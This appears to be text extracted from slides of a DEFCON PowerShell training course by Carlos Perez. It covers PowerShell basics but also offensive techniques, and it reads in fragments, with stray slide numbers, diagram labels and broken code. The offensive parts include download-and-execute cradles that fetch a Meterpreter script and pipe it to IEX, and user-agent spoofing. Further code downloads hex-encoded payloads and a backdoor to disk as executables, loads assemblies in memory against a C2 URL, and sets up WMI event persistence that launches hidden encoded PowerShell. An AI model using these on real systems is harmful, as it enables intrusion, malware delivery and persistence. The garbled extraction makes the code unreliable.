PowerShell DEFCON
PowerShell DEFCON
PowerShell
By
Carlos Perez
Windows
Default Supported
Nano
Windows Supported
Default
IoT
[CmdletBinding(ConfirmImpact=<String>,
DefaultParameterSetName=<String>,
HelpURI=<URI>,
SupportsPaging=<Boolean>,
SupportsShouldProcess=<Boolean>,
PositionalBinding=<Boolean>)]
Fundamentals of Leveraging PowerShell - DEFCON
29
Functions
• All that we have covered for scripts applies to functions.
• To turn the script in to a function we just need to place it in
the process script block of a function
function <name> {
[CmdletBinding()]
Param ($Parameter1)
Begin{}
Process{}
End{}
}
• In the Begin block we put code we need to be present
before executing any action.
• They will typically have one or more Parameter Sets that will
differ from syntax to syntax.
-xor Return True if one sub-expression is True, but not if both are True
PS C:\> ((1 -eq 1) -or (15 -gt 20)) -and ("running" -like
"*run*")
True
-eq Equal to
-contains
Collection of element contains a specific element.
-notcontains
15
• To skip to the next object to be process in ForEach-Object
the keyword return is used.
• For exiting the loop inside of a ForEach-Object the break
keyword is used.
• For Next value in the loop inside of a ForEach-Object the
return keyword is used inside the comparing script block.
1
2
3
4
5
# Compress Script
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]::Compress
$cs = New-Object IO.Compression.DeflateStream ($ms,$action)
$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
$contents | ForEach-Object {$sw.WriteLine($_)}
$sw.Close()
$webRequest = [System.NET.WebRequest]::Create("http://192.168.1.100:8000/x86_met.ps1")
$response = $webRequest.GetResponse()
IEX ([System.IO.StreamReader]($response.GetResponseStream())).ReadToEnd()
Download and Execute
• Changing the user agent sent in the header:
$webRequest = [System.NET.WebRequest]::Create("http://192.168.1.100:8000/x86_met.ps1")
$webRequest.UserAgent = "Windows-RSS-Platform/2.0 (MSIE 9.0; Windows NT 6.1)"
• COM Objects
[System.IO.File]::WriteAllLines("C:\temp\hexdump.txt", ([string]$hex))
On Target
# Read file back to a byte array
[string]$hex = Get-Content -path “$($env:temp)\hexdump.txt”
[System.IO.File]::WriteAllBytes("$($env:temp\evil_payload.exe", $temp)
$payload_url = "http://192.168.6.156/payload.txt"
$payloadhex = $webClient.DownloadString($payload_url)
[System.IO.File]::WriteAllBytes("$($env:TEMP)\payload.exe", $temp)
$payload_url = "http://192.168.6.156/backdoor_apt.txt"
$payloadhex = $webClient.DownloadString($payload_url)
$al.Add([strings[]]”http://myc2c.com/login”)
$asm = [System.Reflection.Assembly]::Load($bin)
$asm.EntryPoint.Invoke($null, $al.ToArray())
126
Logging
Set-WmiInstance Set-CimInstance
Set-WmiInstance New-CimInstance
Remove-WmiObject Remove-CimInstance
Invoke-WmiMethod Invoke-CimMethod
Query
CIM DB
Instances
CIM Class
Provider
Resource
• To invoke a method
Invoke-WMIMethod -class Win32_Process -Name create `
-ArgumentList 'calc.exe'
Filter Consumer
(WQL Query) (Action)
WMI Temporary Subscription
WMI Events
• Temporary subscription are the simplest of the WMI
Subscriptions since they are done with a single cmdlet in
PowerShell.
• PowerShell v2 introduced a cmdlet to make temporary
event registration simpler Register-WMIEvent
• With PowerShell v3 and above the cmdlet for temporary
events Register-CimIndicationEvent is used.
• Permanent WMI events are more involved.
Query
Action
Fundamentals of Leveraging PowerShell - DEFCON
197
WMI Events
• Register-WmiEvent acts as the Binder for the Filter
(Query,Class) and the Consumer (Action)
Query
Instance
CIM DB
Action
# Create an Action
$CreateAction = {
$name = $event.SourceEventArgs.NewEvent.TargetInstance.name
write-host "Process $($name) was created."
}
# Create Action
$DeleteAction = {
$name = $event.SourceEventArgs.NewEvent.TargetInstance.name
write-host "Process $($name) has closed."
}
# Create Action
$ModifyAction = {
$name = $event.SourceEventArgs.NewEvent.TargetInstance.name
write-host "Service $($name) was modified."
}
• GROUP:
SELECT * FROM EventClass [WHERE property = value] GROUP WITHIN interval
Query
Provider
Action Resource
Query
CIM DB
Action
CIM DB
Action
LogFileEventConsumer Writes customized strings to a text log file when events are
delivered to it. This consumer is available on Windows XP and
above.
SMTPEventConsumer Sends an email message using SMTP every time that an event is
delivered to it. This consumer is available on Windows 2000 and
above.
$consumerName = 'LaunchShell'
$CArgs = @{
Name=$consumerName
ExecutablePath = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
CommandLineTemplate ="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP
-NonI -W Hidden -Enc <encoded payload>“
# Creating Consumer
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace $NS -Arguments
$CArgs
$Args = @{
Class = '__FilterToConsumerBinding'
NameSpace = 'root\subscription'
Arguments = @{Filter=$Filter;Consumer=$Consumer}
}
Set-WmiInstance @Args
$typeName = 'DirectoryServices.ActiveDirectory.DirectoryContext'
$context = New-Object $typeName $cArgs